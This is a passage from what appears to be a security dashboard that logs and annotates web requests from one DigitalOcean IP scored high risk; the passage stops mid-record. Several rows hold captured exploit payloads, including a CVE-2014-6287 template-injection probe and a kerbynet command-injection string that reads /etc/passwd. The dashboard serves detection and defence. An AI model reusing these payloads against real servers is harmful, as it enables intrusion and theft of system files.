← Back to IP report

Log Explorer

Fact drill-down for 167.71.204.176

Risk 86 HIGH Scope All time All-time facts 982 In-scope 982 Filtered 982 Seen 2024-01-31 → 2024-02-05

Freestyle query (contains)

Time (days, optional)

Page size 25 50 100 200

Apply Reset (all-time)

Active (none) Clear

Faceted filters (facts-based) exact core + snapshot + optional start/end

Annotation facets

Annotator (exact) (any) base — 450 sfp — 187 trav — 112 cmdi — 84 ua — 66 proto — 47 cred — 10 method — 8 fwprobe — 8 hdrinj — 8 scan_velocity — 2 Severity (exact) (any) (none) — 455 44 — 151 28 — 119 34 — 55 6 — 40 26 — 33 8 — 27 12 — 25 3 — 20 30 — 19 24 — 19 32 — 8 10 — 5 22 — 3 36 — 3 Label (exact) (any) observed — 450 sensitive_file — 187 trav — 112 cmdi — 84 ua — 66 proto — 47 cred — 10 fwprobe — 8 method — 8 hdrinj — 8 scan_velocity — 2

HTTP facets

Method (exact, case-insensitive) (any) GET — 742 POST — 213 AAAA — 24 OPTIONS — 3 HTTP status (exact) (any) 301 — 334 404 — 281 (none) — 173 400 — 105 200 — 73 403 — 13 502 — 3

Snapshot facets

Subnet (exact) (any) 167.71.204.0/24 — 982 ASN (exact) (any) 14061 — 982 Country / Region / City (exact)

(any country) Singapore — 982 (any region) South West — 982

(any city) Singapore — 982

Org contains (ip_org or as_org_name)

Custom time window (optional override)

Provide start/end to scope time explicitly (overrides days). Leave blank for all-time.

Start

End

Tip: keep windows tight when you need speed, but the default is fact-complete.

Top annotators (facts, in-scope)

base 450 sfp 187 trav 112 cmdi 84 ua 66 proto 47 cred 10 method 8 fwprobe 8 hdrinj 8 scan_velocity 2

Top labels (facts, in-scope)

observed 450 sensitive_file 187 trav 112 cmdi 84 ua 66 proto 47 cred 10 fwprobe 8 method 8 hdrinj 8 scan_velocity 2

Click a pill to apply it as a filter.

Annotated access events

Showing page 1 / 20 — total 982 rows

← Prev Next →

#1 2024-02-05 10:10:57 event 776647 POST 403 bytes 974

ann base label observed

Request event observed

/

referer

-

UA

Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

-

UA

Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36

summary

event observed

details

—

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#2 2024-02-05 10:10:57 event 776646 POST 403 bytes 974

ann base label observed

Request event observed

/

referer

-

UA

Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

-

UA

Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36

summary

event observed

details

—

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#3 2024-02-05 10:06:28 event 776631 POST 404 bytes 3871

ann base label observed

Request event observed

/webadm/?q=moni_detail.do&action=gragh

referer

-

UA

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Edg/118.0.2088.61

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/webadm/?q=moni_detail.do&action=gragh

referer

-

UA

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Edg/118.0.2088.61

summary

event observed

details

—

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#4 2024-02-05 10:06:28 event 776630 POST 404 bytes 3871

ann base label observed

Request event observed

/webadm/?q=moni_detail.do&action=gragh

referer

-

UA

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Edg/118.0.2088.61

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/webadm/?q=moni_detail.do&action=gragh

referer

-

UA

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Edg/118.0.2088.61

summary

event observed

details

—

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#5 2024-02-05 10:06:24 event 776628 GET 200 bytes 4528

ann base label observed

Request event observed

/?search==%00{.cookie|1cpZ4c|value%3dCVE-2014-6287.}

referer

-

UA

Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:61.0) Gecko/20100101 Firefox/61.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/?search==%00{.cookie|1cpZ4c|value%3dCVE-2014-6287.}

referer

-

UA

Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:61.0) Gecko/20100101 Firefox/61.0

summary

event observed

details

—

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#6 2024-02-05 10:06:24 event 776626 GET 200 bytes 4528

ann base label observed

Request event observed

/?search==%00{.cookie|1cpZ4c|value%3dCVE-2014-6287.}

referer

-

UA

Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:61.0) Gecko/20100101 Firefox/61.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/?search==%00{.cookie|1cpZ4c|value%3dCVE-2014-6287.}

referer

-

UA

Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:61.0) Gecko/20100101 Firefox/61.0

summary

event observed

details

—

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#7 2024-02-05 10:06:24 event 776628 GET 200 bytes 4528

ann proto 24 label proto

Request Encoded NUL (%00) in request target

/?search==%00{.cookie|1cpZ4c|value%3dCVE-2014-6287.}

referer

-

UA

Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:61.0) Gecko/20100101 Firefox/61.0

Annotation facts

label

proto

rule

proto:encoded_nul_in_target

conf

92.00

details

Request target contains %00 (encoded NUL). Common in traversal / injection payloads and can trigger parser/DB edge cases.

More (full fields + snapshot) expand

url

/?search==%00{.cookie|1cpZ4c|value%3dCVE-2014-6287.}

referer

-

UA

Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:61.0) Gecko/20100101 Firefox/61.0

summary

Encoded NUL (%00) in request target

details

Request target contains %00 (encoded NUL). Common in traversal / injection payloads and can trigger parser/DB edge cases.

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#8 2024-02-05 10:06:24 event 776626 GET 200 bytes 4528

ann proto 24 label proto

Request Encoded NUL (%00) in request target

/?search==%00{.cookie|1cpZ4c|value%3dCVE-2014-6287.}

referer

-

UA

Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:61.0) Gecko/20100101 Firefox/61.0

Annotation facts

label

proto

rule

proto:encoded_nul_in_target

conf

92.00

details

Request target contains %00 (encoded NUL). Common in traversal / injection payloads and can trigger parser/DB edge cases.

More (full fields + snapshot) expand

url

/?search==%00{.cookie|1cpZ4c|value%3dCVE-2014-6287.}

referer

-

UA

Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:61.0) Gecko/20100101 Firefox/61.0

summary

Encoded NUL (%00) in request target

details

Request target contains %00 (encoded NUL). Common in traversal / injection payloads and can trigger parser/DB edge cases.

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#9 2024-02-05 10:06:22 event 776625 POST 404 bytes 3869

ann base label observed

Request event observed

/user.action

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/user.action

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36

summary

event observed

details

—

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#10 2024-02-05 10:06:22 event 776624 POST 404 bytes 3869

ann base label observed

Request event observed

/user.action

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/user.action

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36

summary

event observed

details

—

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#11 2024-02-05 10:03:18 event 776615 GET 200 bytes 4533

ann base label observed

Request event observed

/

referer

-

UA

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15 Ddg/13.5

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

-

UA

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15 Ddg/13.5

summary

event observed

details

—

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#12 2024-02-05 10:03:18 event 776614 GET 200 bytes 4533

ann base label observed

Request event observed

/

referer

-

UA

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15 Ddg/13.5

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

-

UA

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15 Ddg/13.5

summary

event observed

details

—

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#13 2024-02-05 10:02:39 event 776599 GET 404 bytes 3869

ann trav 26 label trav

Request Path traversal / LFI indicator detected

/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Norton/120.0.0.0

Annotation facts

label

trav

rule

trav:mixed_separators

conf

90.00

details

Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.

More (full fields + snapshot) expand

url

/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Norton/120.0.0.0

summary

Path traversal / LFI indicator detected

details

Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#14 2024-02-05 10:02:39 event 776599 GET 404 bytes 3869

ann trav 28 label trav

Request Path traversal / LFI indicator detected

/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Norton/120.0.0.0

Annotation facts

label

trav

rule

trav:dotdot_slash

conf

92.00

details

Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.

More (full fields + snapshot) expand

url

/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Norton/120.0.0.0

summary

Path traversal / LFI indicator detected

details

Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#15 2024-02-05 10:02:39 event 776598 GET 404 bytes 3869

ann trav 26 label trav

Request Path traversal / LFI indicator detected

/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Norton/120.0.0.0

Annotation facts

label

trav

rule

trav:mixed_separators

conf

90.00

details

Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.

More (full fields + snapshot) expand

url

/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Norton/120.0.0.0

summary

Path traversal / LFI indicator detected

details

Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#16 2024-02-05 10:02:39 event 776598 GET 404 bytes 3869

ann trav 28 label trav

Request Path traversal / LFI indicator detected

/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Norton/120.0.0.0

Annotation facts

label

trav

rule

trav:dotdot_slash

conf

92.00

details

Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.

More (full fields + snapshot) expand

url

/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Norton/120.0.0.0

summary

Path traversal / LFI indicator detected

details

Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#17 2024-02-05 10:02:39 event 776599 GET 404 bytes 3869

ann sfp 34 label sensitive_file

Request Directory traversal indicator

/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Norton/120.0.0.0

Annotation facts

label

sensitive_file

rule

sfp:traversal

conf

86.00

details

Traversal sequences were present (raw or encoded). Snippet='tion=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22'

More (full fields + snapshot) expand

url

/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Norton/120.0.0.0

summary

Directory traversal indicator

details

Traversal sequences were present (raw or encoded). Snippet='tion=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22'

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#18 2024-02-05 10:02:39 event 776598 GET 404 bytes 3869

ann sfp 34 label sensitive_file

Request Directory traversal indicator

/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Norton/120.0.0.0

Annotation facts

label

sensitive_file

rule

sfp:traversal

conf

86.00

details

Traversal sequences were present (raw or encoded). Snippet='tion=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22'

More (full fields + snapshot) expand

url

/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Norton/120.0.0.0

summary

Directory traversal indicator

details

Traversal sequences were present (raw or encoded). Snippet='tion=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22'

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#19 2024-02-05 10:02:39 event 776599 GET 404 bytes 3869

ann base label observed

Request event observed

/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Norton/120.0.0.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Norton/120.0.0.0

summary

event observed

details

—

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#20 2024-02-05 10:02:39 event 776598 GET 404 bytes 3869

ann base label observed

Request event observed

/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Norton/120.0.0.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Norton/120.0.0.0

summary

event observed

details

—

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#21 2024-02-05 07:23:42 event 775909 POST 403 bytes 974

ann base label observed

Request event observed

/

referer

-

UA

Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

-

UA

Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36

summary

event observed

details

—

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#22 2024-02-05 07:23:42 event 775908 POST 403 bytes 974

ann base label observed

Request event observed

/

referer

-

UA

Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

-

UA

Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36

summary

event observed

details

—

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#23 2024-02-05 07:12:57 event 729577 POST 301 bytes 169

ann base label observed

Request event observed

/javax.faces.resource/dynamiccontent.properties.xhtml

referer

-

UA

Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/javax.faces.resource/dynamiccontent.properties.xhtml

referer

-

UA

Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

summary

event observed

details

—

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#24 2024-02-05 07:12:57 event 729576 POST 301 bytes 169

ann base label observed

Request event observed

/javax.faces.resource/dynamiccontent.properties.xhtml

referer

-

UA

Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/javax.faces.resource/dynamiccontent.properties.xhtml

referer

-

UA

Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

summary

event observed

details

—

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#25 2024-02-05 07:05:43 event 729558 GET 200 bytes 4527

ann base label observed

Request event observed

/

referer

-

UA

Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

-

UA

Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36

summary

event observed

details

—

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#26 2024-02-05 07:05:43 event 729557 GET 200 bytes 4527

ann base label observed

Request event observed

/

referer

-

UA

Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

-

UA

Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36

summary

event observed

details

—

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#27 2024-02-05 06:39:26 event 729450 POST 403 bytes 974

ann base label observed

Request event observed

/

referer

-

UA

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

-

UA

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36

summary

event observed

details

—

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#28 2024-02-05 06:39:26 event 729449 POST 403 bytes 974

ann base label observed

Request event observed

/

referer

-

UA

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

-

UA

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36

summary

event observed

details

—

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#29 2024-02-05 06:35:42 event 729442 GET 200 bytes 4533

ann base label observed

Request event observed

/

referer

-

UA

Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

-

UA

Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36

summary

event observed

details

—

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#30 2024-02-05 06:35:42 event 729441 GET 200 bytes 4533

ann base label observed

Request event observed

/

referer

-

UA

Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

-

UA

Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36

summary

event observed

details

—

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#31 2024-02-05 06:27:35 event 729420 POST 301 bytes 169

ann base label observed

Request event observed

/

referer

-

UA

Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

-

UA

Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36

summary

event observed

details

—

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#32 2024-02-05 06:27:35 event 729419 POST 301 bytes 169

ann base label observed

Request event observed

/

referer

-

UA

Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

-

UA

Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36

summary

event observed

details

—

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#33 2024-02-05 06:26:40 event 729412 GET 301 bytes 169

ann base label observed

Request event observed

/

referer

-

UA

Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

-

UA

Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36

summary

event observed

details

—

subnet

167.71.204.0/24

asn

